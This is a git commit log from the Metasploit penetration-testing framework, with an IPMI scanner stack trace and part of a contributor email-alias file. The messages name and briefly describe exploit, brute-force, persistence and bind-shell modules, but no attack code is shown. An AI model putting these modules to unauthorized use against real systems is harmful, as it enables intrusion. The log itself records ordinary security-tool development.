Fabio Cogno eb6f0d5620 Add Total.js Directory Traversal module 2019-03-10 17:57:24 +01:00
rwincey 59fc1ec7ab Rubocop changes 2019-03-09 12:22:04 -05:00
Brendan Coles 6d14a53c80 Update tested versions 2019-03-09 04:41:51 +00:00
Brent Cook 19e6507ac4 tweak rubocop disabling some less desirable noise 2019-03-08 21:55:21 -06:00
Brendan Coles 601dc1c79b Add documentation 2019-03-09 03:24:26 +00:00
Brendan Coles 9aa01c9ed2 Add elfinder_php_connector_exiftran_cmd_injection exploit 2019-03-09 03:24:18 +00:00
Brent Cook 172a984d60 add deregister_tcp/udp_options 2019-03-08 16:04:32 -06:00
Brent Cook 1bf93ab1bc Land #11061, allow the possibilty of empty string values for datastore options in msf5 2019-03-08 09:27:50 -06:00
Metasploit 0b39b6efc7 automatic module_metadata_base.json update 2019-03-07 16:25:17 -08:00
Brent Cook 7c97ca6a8e Land #11535, add deregister_http_client_options 2019-03-07 18:16:14 -06:00
Metasploit 6b6069e907 automatic module_metadata_base.json update 2019-03-07 10:34:08 -08:00
Wei Chen cf19a711fd Land #11427, Add Fortinet SSL VPN Bruteforce Login Utility 2019-03-07 12:25:41 -06:00
Metasploit 1588928b44 Bump version of framework to 5.0.11 2019-03-07 10:06:39 -08:00
Brent Cook 656ef8f970 Land #11533, Fix credential reporting service lookups 2019-03-06 20:13:41 -06:00
Brent Cook 3670dd8067 Land #11521, add RMI support for UnicastRef2 responses 2019-03-06 20:05:33 -06:00
Metasploit 76de3b12a7 automatic module_metadata_base.json update 2019-03-06 18:02:18 -08:00
Brent Cook 468679f907 Land #11092, Add FreeBSD 8.3 / 9.0 Intel SYSRET Privilege Escalation module 2019-03-06 19:50:08 -06:00
Brent Cook 9ca5ac294d Land #10012, Add an Android module to run payloads with su on a rooted device 2019-03-06 19:46:33 -06:00
Brent Cook 433af12942 add deregister_http_client_options 2019-03-06 19:37:56 -06:00
Brent Cook 841c07a42c restore rescue for now 2019-03-06 19:35:12 -06:00
Metasploit 15c58db3be automatic module_metadata_base.json update 2019-03-06 16:00:53 -08:00
Brent Cook 7347db65a6 Land #11534, fix module title for sonicwall_xmlrpc_rce 2019-03-06 17:44:39 -06:00
Brent Cook eb15c457fe Land #11524, remove some unused bits from modules 2019-03-06 17:43:20 -06:00
Brent Cook 8b251934ab remove mixin, just register the options 2019-03-06 17:42:27 -06:00
Brent Cook d923e1fb84 Land #11523, remove unneded RHOST reregister in scanners 2019-03-06 17:35:54 -06:00
Patrick Webster d67bfdfea4 Fix module heading and typo
The newline in the name breaks the msfconsole output
2019-03-07 10:29:15 +11:00
Brent Cook 4f08d1e864 Fix credential reporting service lookups.
Noted by @actuated, auxiliary/scanner/ipmi/ipmi_dumphashes was displaying an error when run against an IPMI endpoint that had a common hash. This was due to the services lookup in the database not extracting the first element of the results array.

```
[-] Auxiliary failed: NoMethodError undefined method `id' for #<Array:0x000055615614b970>
[-] Call stack:
[-]   /home/bcook/projects/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:27:in `block (2 levels) in create_cracked_credential'
[-]   /home/bcook/.rvm/gems/ruby-2.6.1@metasploit-framework/gems/activerecord-4.2.11/lib/active_record/relation/delegation.rb:46:in `each'
[-]   /home/bcook/.rvm/gems/ruby-2.6.1@metasploit-framework/gems/activerecord-4.2.11/lib/active_record/relation/delegation.rb:46:in `each'
[-]   /home/bcook/projects/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:25:in `block in create_cracked_credential'
[-]   /home/bcook/projects/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:166:in `data_service_operation'
[-]   /home/bcook/projects/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:15:in `create_cracked_credential'
[-]   /home/bcook/projects/metasploit-framework/lib/msf/core/auxiliary/report.rb:26:in `create_cracked_credential'
[-]   /home/bcook/projects/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb:317:in `report_cracked_cred'
[-]   /home/bcook/projects/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb:244:in `block (2 levels) in run_host'
[-]   /home/bcook/projects/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb:237:in `each'
[-]   /home/bcook/projects/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb:237:in `block in run_host'
[-]   /home/bcook/projects/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb:100:in `each'
[-]   /home/bcook/projects/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb:100:in `run_host'
[-]   /home/bcook/projects/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:111:in `block (2 levels) in run'
[-]   /home/bcook/projects/metasploit-framework/lib/msf/core/thread_manager.rb:106:in `block in spawn'
[*] Auxiliary module execution completed
```
2019-03-06 17:08:34 -06:00
Aaron Soto 789e2d57b4 Land #11532, Cleanup changes from DB Manager for Payloads 2019-03-06 13:39:42 -06:00
Matthew Kienow f873d94c10 Check that DB is active before looking up payload 2019-03-06 14:22:32 -05:00
Matthew Kienow 6bcdda4bd1 Add entry to autoload RemotePayloadDataService 2019-03-06 13:41:08 -05:00
Matthew Kienow 63c1903032 Remove empty file 2019-03-06 13:11:34 -05:00
Matthew Kienow a749b86730 Add missing ActiveRecord connection block 2019-03-06 13:07:35 -05:00
Matthew Kienow b658cf5d76 Use data_service_operation block to perform work 2019-03-06 12:11:27 -05:00
Metasploit 6d42964728 automatic module_metadata_base.json update 2019-03-05 23:49:34 -08:00
William Vu 50f89321a0 Land #11419, systemd user service persistence 2019-03-06 01:39:58 -06:00
William Vu ebb80ae4f0 Fix copypasta error 2019-03-06 00:48:05 -06:00
William Vu a6782cbee4 Update module doc with my testing notes 2019-03-06 00:47:12 -06:00
William Vu 31ba073009 Add per-target SHELLPATH defaults 2019-03-06 00:07:17 -06:00
William Vu 77af9eca5c Update module doc 2019-03-05 23:20:53 -06:00
William Vu c539951311 Clean up method 2019-03-05 23:17:34 -06:00
Metasploit 75efee5593 automatic module_metadata_base.json update 2019-03-05 20:09:46 -08:00
William Vu 715409496e Fix #11210, imperva_securesphere_exec options 2019-03-05 22:01:24 -06:00
Metasploit 83929a5133 automatic module_metadata_base.json update 2019-03-05 20:00:36 -08:00
William Vu 4e31f53ca2 Fix required USERNAME and PASSWORD
Somehow I forgot to commit this? Strange.
2019-03-05 21:57:42 -06:00
William Vu c48dec7331 Land #11210, imperva_securesphere_exec exploit 2019-03-05 21:52:13 -06:00
Metasploit fe4b517e18 automatic module_metadata_base.json update 2019-03-05 19:38:44 -08:00
William Vu 4e76eeceb7 Clean up module 2019-03-05 21:37:55 -06:00
William Vu 108e90ca38 Land #11527, .rubocop.yml TargetRubyVersion update
And TrailingCommaInArrayLiteral fixes in my modules. :(
2019-03-05 21:29:47 -06:00
Metasploit edb94e9ef5 automatic module_metadata_base.json update 2019-03-05 19:17:20 -08:00
William Vu 6ff18828c0 Land #11481, Drupal SA-CORE-2019-003/CVE-2019-6340 2019-03-05 21:09:06 -06:00
William Vu 1f5695de07 Fix TrailingCommaInArrayLiteral in my modules 2019-03-05 21:02:39 -06:00
William Vu a378dff8a9 Update .rubocop.yml TargetRubyVersion to 2.4
2.3 is EOL at the end of this month.
2019-03-05 21:01:33 -06:00
William Vu 0de69e776a Add friendly default payloads 2019-03-05 20:25:00 -06:00
William Vu 2f76ad4205 Move print_line for DUMP_OUTPUT 2019-03-05 20:10:32 -06:00
William Vu 84376c30c4 Refactor check methods once again 2019-03-05 19:47:41 -06:00
William Vu b2aa06560f Add drupal_patch method to Drupal mixin 2019-03-05 18:52:27 -06:00
William Vu c7f12b2594 Sneak in a change to libssh_auth_bypass 2019-03-05 17:21:11 -06:00
William Vu 72bb49aca9 Make HTTP method configurable and prefer POST 2019-03-05 17:16:04 -06:00
Matthew Kienow b3073ac6f4 Land #11525, fix delete SSL key & cert on reinit 2019-03-05 17:38:02 -05:00
Erin Bleiweiss cff6231aa5 Don't delete ssl key and cert if a user asked not to 2019-03-05 15:25:53 -06:00
William Vu 3ac7987d90 Fix inline code in module doc 2019-03-05 13:48:25 -06:00
William Vu d30bfe2cbf Update drupal_drupalgeddon2 2019-03-05 13:26:05 -06:00
William Vu 92a9c7184b Rewrite module doc 2019-03-05 13:26:05 -06:00
William Vu ea7c589b19 Refactor module and address review comments 2019-03-05 13:26:01 -06:00
Brent Cook b402ce628a use the correct mixin 2019-03-05 13:13:54 -06:00
Brent Cook 566060c97b remove deregistation of non-existent options 2019-03-05 13:13:54 -06:00
William Vu d70439f698 Add UNRELIABLE_SESSION Reliability constant 2019-03-05 13:10:56 -06:00
Brent Cook ddef5b4961 MSF5: Remove unneeded RHOST deregister in scanners
With Metasploit 5, RHOST and RHOSTS are aliases, so no need to
deregister one or the other, as they are the same option. Deregistering
one deregisters both.
2019-03-05 13:04:49 -06:00
Metasploit dc5a3052b7 automatic module_metadata_base.json update 2019-03-05 10:50:41 -08:00
Wei Chen 6765ed80d6 Land #11077, Improvements and documentation for wing_ftp_admin_exec 2019-03-05 12:42:33 -06:00
Metasploit 87f231fabb automatic module_metadata_base.json update 2019-03-05 09:30:17 -08:00
Wei Chen bc29543886 Land #11397, Add checkJNDI to jboss_vulnscan plus a basic mod doc 2019-03-05 11:22:05 -06:00
Wei Chen e10668c0e8 Add a new doc for jboss_vulnscan 2019-03-05 11:20:59 -06:00
William Vu a8a48050f9 Merge remote-tracking branch 'upstream/master' into pr/11481 2019-03-05 11:14:56 -06:00
Metasploit 45a498c089 automatic module_metadata_base.json update 2019-03-05 09:11:41 -08:00
Wei Chen 027c0fc100 Land #11423, Moved bruteforce(ip) under the sys_name check 2019-03-05 11:02:33 -06:00
blightzero 0551f3df3c Refactored code to return early. Untested. 2019-03-05 17:55:34 +01:00
Clément Notin ecfd52dcb0 RMI/util.rb: add handling of UnicastRef2 responses 2019-03-05 15:23:11 +01:00
Metasploit 19540fee2e automatic module_metadata_base.json update 2019-03-04 17:43:13 -08:00
William Vu 76724b46c2 Land #11519, error check fix for Crock-Pot module 2019-03-04 19:34:41 -06:00
Metasploit e5e814856b automatic module_metadata_base.json update 2019-03-04 17:28:16 -08:00
William Vu a9f72a39d0 Fix misplaced error check in Crock-Pot module 2019-03-04 19:26:17 -06:00
William Vu fb347300a3 Land #11518, Wemo module improvements 2019-03-04 19:20:28 -06:00
William Vu 502f63c0c4 Indent SOAP requests and prefer $() over `` 2019-03-04 19:10:33 -06:00
William Vu 1dd243b8bd Improve positive/negative prints in check method 2019-03-04 19:08:47 -06:00
Metasploit c46abc7f76 automatic module_metadata_base.json update 2019-03-04 16:49:01 -08:00
William Vu bf8dff0f1b Land #11517, reverted CheckCode for Wemo exploit 2019-03-04 18:41:09 -06:00
William Vu 225e0549c0 Revert CheckCode::Vulnerable to CheckCode::Appears 2019-03-04 18:38:44 -06:00
Metasploit 2c45385f03 automatic module_metadata_base.json update 2019-03-04 16:35:01 -08:00
William Vu 4d7eec1978 Land #11516, reverted print for Wemo exploit 2019-03-04 18:24:42 -06:00
William Vu 4100f1cfeb Revert vprint_status to vprint_good 2019-03-04 18:22:12 -06:00
William Vu f8208bf0ef Land #11464, version checking for Wemo exploit 2019-03-04 18:18:02 -06:00
William Vu 98f494acab Update module doc 2019-03-04 18:08:24 -06:00
William Vu 40ff708306 Refactor check method and address review comments 2019-03-04 17:49:09 -06:00
Aaron Soto 822f5357a2 Land #10675, DB manager for payloads: Resolve conflicts, add 'create!' to trigger database write 2019-03-04 14:58:03 -06:00
John Q. Public a9ba765e76 Update hp_sys_mgmt_login.rb
Removed the tab at 175.
2019-03-04 13:37:11 -06:00
Andres Rodriguez ea45468639 Merge branch 'master' of github.com:rapid7/metasploit-framework into weblogic_serialize_unicastref 2019-03-02 00:49:13 -08:00
Brent Cook b70d0f684c Land #11498, add documentation for the 'jobs' command 2019-03-01 15:53:20 -06:00
Metasploit cb2234041b automatic module_metadata_base.json update 2019-03-01 12:17:06 -08:00
Brendan Coles 42941cfb78 Land #11500, Add more checks to cisco_directory_traversal module 2019-03-01 20:21:25 +00:00
William Vu 4e3f4f4144 Land #11505, pml_driver_config deprecation 2019-03-01 13:45:50 -06:00
Brendan Coles bd8d4d3f78 Deprecate pml_driver_config script 2019-03-01 19:43:38 +00:00
Adam Cammack 26dadef4fc Typo fix 2019-03-01 10:43:36 -06:00
Metasploit 168a98f66b automatic module_metadata_base.json update 2019-03-01 00:59:32 -08:00
Wei Chen 811720e85a Land #11461, Update manageengine_deviceexpert_traversal.rb 2019-03-01 02:49:34 -06:00
Wei Chen 41a8019124 Check 404 2019-03-01 02:35:29 -06:00
rwincey f05d86ffae Even Less Code 2019-02-28 21:49:29 -05:00
rwincey b96326ec80 Less Code 2019-02-28 21:48:25 -05:00
Shelby Pace ca39542f7e check res before accessing res body 2019-02-28 16:48:54 -06:00
Shelby Pace 457c740e47 added more checks for potential vulnerable devices 2019-02-28 16:25:07 -06:00
Metasploit 78605d5585 automatic module_metadata_base.json update 2019-02-28 14:21:59 -08:00
Brent Cook ca6508de67 Land #11445, always save output with winrm_cmd 2019-02-28 16:11:17 -06:00
William Vu e67e2a5477 Land #11497, file: RHOSTS fix for exploits 2019-02-28 16:03:47 -06:00
Brent Cook b22c49679b remove some extra complication 2019-02-28 15:03:04 -06:00
Metasploit 1979b18c0a Bump version of framework to 5.0.10 2019-02-28 10:07:33 -08:00
Adam Cammack 6b4a1f60c6 Add initial docs for the jobs command 2019-02-28 11:06:44 -06:00
Adam Cammack 34b7d48a31 Add initial msfconsole doc with range building doc 2019-02-28 10:54:01 -06:00
Adam Cammack 3aea9bc477 Fix check to use all the IP addresses passed 2019-02-28 10:52:26 -06:00
Brent Cook 0c253ab085 add file: support for RHOSTS option on exploit modules 2019-02-28 06:01:30 -06:00
rsp3ar b5587b926c Add ForceExploit and fix code ident 2019-02-26 19:59:31 -08:00
rotemreiss 2c2e1f0615 Remove custom imp. in favor of library change
Remove custom full_uri implementation in favor of a library change in #11485 which adds vhost support in the full_uri method.
2019-02-26 13:35:32 -05:00
John Q. Public 7435913904 Fixed the if statement on line 53. 2019-02-26 09:02:08 -06:00
y_k_oo7 31bf6a11ad Updated Module 2019-02-26 16:18:52 +05:30
blightzero 5f8f49ebcb Removed all Warnings and Fixed Date Format. 2019-02-26 09:20:04 +01:00
terrorbyte 24fa3a367d Added directory creation to all the paths from systemd.unit(5) 2019-02-25 23:40:30 -06:00
terrorbyte f6a402c999 Fix tabs in the previous commit and fix style issues. 2019-02-25 21:24:13 -06:00
rotemreiss af1f2ebed9 Add documentation in .md file 2019-02-25 17:27:45 -05:00
rotemreiss a6148f7733 Code improvements and fixes 2019-02-25 17:24:34 -05:00
rotemreiss edf7c41478 Code smells and documentation 2019-02-25 15:21:46 -05:00
rotemreiss 54ce49c4e6 Feedback from PR fixes 2019-02-25 14:09:07 -05:00
blightzero c8c3d7a245 Merging upstream changes to current state.
Merge branch 'master' of github.com:blightzero/metasploit-framework
2019-02-25 15:51:54 +01:00
blightzero f64e517b73 Cisco RV32x RCE added reference IDs, some beautifications. 2019-02-25 15:51:14 +01:00
blightzero de5a5ea805 Cisco RV32x RCE added reference IDs, some beautifications. 2019-02-25 15:51:14 +01:00
Benjamin 9d0b434f35 Initial commit Cisco RV320 and RV325 remote code execution 2019-02-25 15:51:05 +01:00
John Q. Public 1150c896d3 Removed the tab at line 59. 2019-02-25 08:48:00 -06:00
blightzero 2afe592c96 Cisco RV32x RCE added reference IDs, some beautifications. 2019-02-25 15:46:25 +01:00
blightzero eb9a063c68 Cisco RV32x RCE added reference IDs, some beautifications. 2019-02-25 15:45:08 +01:00
bcoles 9249f2a119 Update modules/exploits/unix/webapp/drupal_sa_core_2019_003.rb
Co-Authored-By: rotemreiss <reiss.r@gmail.com>
2019-02-25 08:53:19 -05:00
bcoles 8912c1a943 Update modules/exploits/unix/webapp/drupal_sa_core_2019_003.rb
Co-Authored-By: rotemreiss <reiss.r@gmail.com>
2019-02-25 08:53:02 -05:00
bcoles d279e092cb Update modules/exploits/unix/webapp/drupal_sa_core_2019_003.rb
Co-Authored-By: rotemreiss <reiss.r@gmail.com>
2019-02-25 08:46:30 -05:00
rotemreiss eabd0b485c Update ranking 2019-02-25 08:08:06 -05:00
rotemreiss e93dffb32c Add new exploit for Drupal SA-CORE-2019-003 2019-02-25 07:57:04 -05:00
Pedro Ribeiro dfb0c8edf2 Merge pull request #7 from rapid7/master
bbbb
2019-02-24 22:27:43 +07:00
Nicholas Starke 7c7a233d67 Addressing PR Comments 2019-02-23 14:41:11 -06:00
Nicholas Starke 6bd1489f62 Adding version checking to wemo module
Addresses Github Issue 11452 by parsing out the version
information returned in /setup.xml. New code then performs
a version check, and then alerts the user to whether or not
it is likely the remote host is vulnerable given that version
check.
2019-02-23 12:06:57 -06:00
John Q. Public 1eaba65da0 Update hp_sys_mgmt_login.rb 2019-02-22 11:33:36 -06:00
John Q. Public bfbda99086 Added user notification to line 56 2019-02-22 10:36:49 -06:00
John Q. Public 339918b3ef Update manageengine_deviceexpert_traversal.rb
Changed print_status on line 80 to print_good and added a check for /scheduleresult.de with a return is not a 200 status code.
2019-02-22 09:27:20 -06:00
y_k_oo7 97c4d8e6d9 Enhanced winrm_cmd module 2019-02-22 00:04:03 +05:30
asoto-r7 efba6d2d9c Reverse engineered JSOs 2019-02-20 16:45:47 -06:00
terrorbyte 449307c7df Additional style fixes 2019-02-20 15:33:33 -06:00
terrorbyte 364460a787 Fixed heredoc and advanced options casing. 2019-02-20 14:42:56 -06:00
asoto-r7 0f9a796d2f Reverse engineered JSOs, used new ysoserial functionality 2019-02-20 14:28:09 -06:00
asoto-r7 5f84cbc078 Reverse engineered JSOs, used new ysoserial functionality 2019-02-20 14:12:24 -06:00
Pedro Ribeiro 26f2b61612 Merge pull request #5 from rapid7/master
aaa
2019-02-20 23:38:44 +07:00
Max Michels 6fac0ecdcb documentation for fortinet ssl vpn module added 2019-02-19 22:42:04 +00:00
Max Michels 40b3fbaf05 removed unused lines of code 2019-02-19 22:33:10 +00:00
Max Michels a90777303f Debugging ci error 2019-02-17 19:05:51 +00:00
Max Michels 49975b7549 cookie not necessary 2019-02-17 18:08:30 +00:00
Max Michels e434b6a40a make the file for tidy 2019-02-17 17:25:04 +00:00
Max Michels 8d6114498d added domain/realm support 2019-02-17 16:56:16 +00:00
Max Michels 708ae76cba change method to follow style guide 2019-02-17 16:08:58 +00:00
John Q. Public 0e300d64dc Moved bruteforce(ip) under the sys_name check.
Moving the bruteforce(ip) under the sys_name check stops the script from executing against the wrong systems.
2019-02-16 14:20:51 -06:00
terrorbyte 99ae0d125f Added systemd lower privlege service persistence
Update the module to support systemd --user as a target for the
service_persistence module. This creates a file in a set of "supported"
local directories and triggers the systemctl calls with --user. The unit
files in question can be seen documented in systemd.unit(5)
2019-02-15 15:04:03 -06:00
Max 09b0d0fa66 adding fortinet ssl vpn bruteforce 2019-02-14 09:35:02 +01:00
rwincey a0b5291c30 Space slipped in 2019-02-13 10:25:21 -05:00
Clément Notin 2caf98c4d0 jboss_vulnscan: add app to test auth bypass 2019-02-13 16:10:32 +01:00
rwincey e716c24f2d Style police :P 2019-02-13 00:35:54 -05:00
rwincey b55fdc7323 Minor updates 2019-02-11 21:39:43 -05:00
Ziconius b49b7ca9db Remove unneeded require 2019-02-11 11:24:04 -05:00
Ziconius 08e1f86390 Add Webmin 1900 Remote Code Exec Module
Adding Webmin RCE module affecting Webmin <= 1.900. Module attempts to
use the Running Processes (proc) permission to determine upload dir,
if the permission is not set the module fails. The user can attempt the
exploit without this permission by setting the 'GUESSUPLOAD' opt to
true.

The default path is in an array of 1 to allow for other OS/Version
default paths to be added in future.
2019-02-11 10:45:03 -05:00
rwincey f1675cddad Documentation 2019-02-10 23:16:45 -05:00
rwincey ced3ad0bfd BMC Patrol CMD Exec Module 2019-02-10 22:26:24 -05:00
bcoles 1e3be0fd3f Update modules/payloads/singles/linux/x86/shell_bind_tcp_super_small_random_port.rb
Co-Authored-By: Ekzorcist <infosecurity@ya.ru>
2019-02-10 22:32:00 +03:00
bcoles 346a73d52a Update modules/payloads/singles/linux/x86/shell_bind_tcp_super_small_random_port.rb
Co-Authored-By: Ekzorcist <infosecurity@ya.ru>
2019-02-10 22:31:23 +03:00
Imran E. Dawoodjee 6d0797986b PowerShell check less strict, updated docs. 2019-02-10 14:26:13 +08:00
Ekzorcist 0b768d32be Add metasm format of code for Super small Shell Bind TCP Random Port Payload 2019-02-09 15:28:56 +03:00
Ekzorcist c1b37f7463 Merge branch 'master' of github.com:rapid7/metasploit-framework into new 2019-02-09 15:24:06 +03:00
Ekzorcist d327dc79f0 Add Super Small Shell Bind TCP Random Port Payload (x86) 2019-02-08 15:46:31 +03:00
Benjamin 0cbb5b4220 Initial commit Cisco RV320 and RV325 remote code execution 2019-01-31 17:06:48 +01:00
Pedro Ribeiro 291320ea8c Merge pull request #4 from rapid7/master
merge
2019-01-30 22:05:11 +07:00
rwincey 2bbcc815c4 Merge pull request #1 from rwincey/upstream-master
Upstream master
2019-01-27 11:06:00 -08:00
rsp3ar 2577160449 update print_error, add PrependFork and adjust timeout 2019-01-16 23:20:06 -08:00
rsp3ar 71aa4c8d9e Adding respond code/body check for successful command execution 2019-01-10 00:01:19 -08:00
rsp3ar 3aabeee959 Update SSL, timeout and uid regex 2019-01-09 23:20:37 -08:00
Brendan Coles 5a956bb27b Apply suggestions from code review
Co-Authored-By: rsp3ar <rsp3ar@users.noreply.github.com>
2019-01-09 21:07:01 -08:00
rsp3ar 24de5d6ee3 Update to use CmdStager 2019-01-08 20:07:35 -08:00
rsp3ar bab651e94d Add Imperva SecureSphere module 2019-01-07 22:18:04 -08:00
Brendan Coles 0a5957c36f Add Linux support to multi/script/web_delivery 2019-01-06 19:40:30 +00:00
Brendan Coles 983b39a5b3 Use @iZsh's exploit 2018-12-21 15:40:01 +00:00
Andres Rodriguez a10a5e74c4 Use of send_request_cgi instead of raw socket(incomplete responses) and other small fixes 2018-12-17 15:10:36 -08:00
Andres Rodriguez 8072b038ed Use of send_request_cgi instead of raw socket(incomplete responses) and other small fixes 2018-12-17 15:09:08 -08:00
Andres Rodriguez 3fb723cc1b Use of send_request_cgi instead of raw socket(incomplete requests) and other small fixes 2018-12-17 15:04:55 -08:00
Andres Rodriguez b9cccc2e8f Improvements on code quality and documentation 2018-12-17 00:15:48 -08:00
Andres Rodriguez 4660f83768 Fix a typo in the documentation 2018-12-16 23:51:20 -08:00
Andres Rodriguez f05ea634a3 Improvements on code quality and documentation 2018-12-16 23:42:59 -08:00
Andres Rodriguez 48df4be54e Improvements on code quality and documentation 2018-12-16 12:47:52 -08:00
Andres Rodriguez 1ecc5461bf Metasploit module for CVE 2017-3248, Weblogic serialization RCE RMI UnicastRef 2018-12-16 06:21:09 -08:00
Andres Rodriguez 8ce7643e41 Some improvements in code and documentation. 2018-12-15 21:07:53 -08:00
Andres Rodriguez 873d048b89 Some improvements in code and documentation. 2018-12-15 20:42:17 -08:00
Brendan Coles 3d3cf83d4c Update documentation/modules/exploit/multi/misc/weblogic_deserialize_rawobject.md
Co-Authored-By: acamro <acamro@users.noreply.github.com>
2018-12-15 23:23:39 -05:00
Brendan Coles 4c14642b99 Update modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
Co-Authored-By: acamro <acamro@users.noreply.github.com>
2018-12-15 23:23:23 -05:00
Brendan Coles 8dfd8aa4cd Update modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
Co-Authored-By: acamro <acamro@users.noreply.github.com>
2018-12-15 23:23:14 -05:00
Andres Rodriguez 29c70b8585 Some fixes of sintax errors 2018-12-15 19:44:05 -08:00
Andres Rodriguez 826c93ff8a Sintax error in an elseif 2018-12-15 19:41:35 -08:00
Andres Rodriguez 25a447fa35 Removed line at the end of file (to pass all tests) 2018-12-15 19:21:37 -08:00
Andres Rodriguez d8f19ff6c8 Removed line at the end of file (to pass all tests) 2018-12-15 19:19:47 -08:00
Andres Rodriguez a936d3f78f Metasploit module for CVE 2016-3510, Weblogic serialization RCE Marshalled Object 2018-12-15 19:12:33 -08:00
Andres Rodriguez 82db6025c9 Some fixes to pass msftidy. 2018-12-15 18:32:17 -08:00
Andres Rodriguez 446144ba8e Metasploit module for CVE 2015-4852, Weblogic serialization RCE Raw Object 2018-12-15 18:26:34 -08:00
Brendan Coles 1cf5c79cc8 Update documentation 2018-12-14 11:00:18 +00:00
Brendan Coles e4fc4e654d Move documentation to correct directory 2018-12-14 10:56:23 +00:00
Imran E. Dawoodjee 9cc5569ca2 Cleaned up module per @bcoles's recommendations. 2018-12-11 02:56:56 +08:00
Imran E. Dawoodjee bbd0c8be32 Greatly improved check and tidied up documentation. 2018-12-10 21:02:51 +08:00
Imran E. Dawoodjee 91d0c8f283 Removed offending code, added warning for users,
and updated documentation.
2018-12-10 01:57:44 +08:00
Brendan Coles 340a547d62 Add documentation 2018-12-09 16:34:32 +00:00
Brendan Coles b8dd147d49 Add FreeBSD 9 Intel SYSRET Privilege Escalation module 2018-12-09 16:04:38 +00:00
Imran E. Dawoodjee fdb0a80442 Improved version check, made requests more organic,
and improved made PowerShell work on version 6.0.2.
2018-12-08 19:48:26 +08:00
Imran E. Dawoodjee 2918acc0d2 Added links to functionality and cleaned up check
to make it much cleaner per @bcoles's recommendations.
2018-12-08 03:17:52 +08:00
Imran E. Dawoodjee 29627331cf Implemented @bcole's recommendations. 2018-12-07 18:48:57 +08:00
Imran E. Dawoodjee 0573caafc3 Improved check method. 2018-12-07 17:21:38 +08:00
Imran E. Dawoodjee 92c56472ba Improved module and added documentation. 2018-12-07 03:02:37 +08:00
asoto-r7 117d8ad986 Change default behavior of required OptString to permit empty strings 2018-11-29 11:34:44 -06:00
Tim W dea3f90e0b add documentation with the current status 2018-10-01 17:54:00 +08:00
Erin Bleiweiss 02eeaafba6 Undo accidental removal of workplace ID example 2018-09-24 15:12:23 -05:00
Erin Bleiweiss 99b52211f4 Update workspace param in docs 2018-09-24 15:09:01 -05:00
Erin Bleiweiss b51d016a93 Store and search payloads with workspace id 2018-09-24 14:11:48 -05:00
Erin Bleiweiss 1f61f08e1b Add periods to ends of sentences in docs 2018-09-24 12:14:37 -05:00
Erin Bleiweiss 472d093d81 Change timestamp type to integer in docs 2018-09-24 12:12:53 -05:00
Erin Bleiweiss 4c39ac8aa5 Update get_payload function name for naming consistency 2018-09-20 16:21:30 -05:00
Erin Bleiweiss 8f143daa65 Remove copy/paste error 2018-09-20 16:09:43 -05:00
Erin Bleiweiss e1b8eeb8d5 Update swagger documentation to be consistent with Mdm docs 2018-09-20 15:09:12 -05:00
Erin Bleiweiss 102b76897c Add swagger docs for payloads 2018-09-18 17:20:03 -05:00
Erin Bleiweiss dc36c3a3db Remove workspace from opts when getting all payloads 2018-09-18 17:19:46 -05:00
Erin Bleiweiss 35e767e2dd Prevent payload creation with duplicate uuids 2018-09-18 16:49:06 -05:00
Erin Bleiweiss 7e6c3261b6 Update payload count method 2018-09-18 16:36:11 -05:00
Erin Bleiweiss 54e0c25d33 Add api support for deleting payload by ID 2018-09-18 16:16:10 -05:00
Erin Bleiweiss efe98dbcfb Add api support for updating payload by ID 2018-09-18 16:03:21 -05:00
Erin Bleiweiss 9b5326994f Add remote data endpoint support for searching payloads 2018-09-18 15:50:55 -05:00
Erin Bleiweiss c8f48d4272 Add stubs for remote data payload 2018-09-14 10:21:24 -05:00
Erin Bleiweiss 7994564f25 Add db manager method to delete payload 2018-09-13 12:48:17 -05:00
Erin Bleiweiss f6f3ef1194 Remove uuid_db declarations 2018-09-13 12:30:59 -05:00
Erin Bleiweiss 8f4e17c277 Replace uuid methods for payload count and url validation 2018-09-13 12:28:04 -05:00
Erin Bleiweiss 89b68df9d8 Use db manager in create_session 2018-09-13 11:49:20 -05:00
Erin Bleiweiss 1ec1b3b493 Save payloads and urls in database when running a module 2018-09-07 17:02:54 -05:00
Erin Bleiweiss a9af924317 CRUD endpoint stubs 2018-09-04 15:31:06 -05:00
Tim W 17ffd83374 only upload screenshot dll on windows 2018-09-04 00:36:30 +08:00
Tim W 629c5a82f1 default to aarch64 2018-05-17 20:48:25 +08:00
Tim W 67fc37c369 improve description 2018-05-07 18:29:54 +08:00
Tim W 19eb86790d add android module to run payloads with su 2018-05-06 14:28:34 +08:00
Tim 37530f037e su -> meterpreter as root 2018-05-06 14:16:46 +08:00
1025 changed files with 191536 additions and 11610 deletions
+21 -21
View File
@@ -1,48 +1,29 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
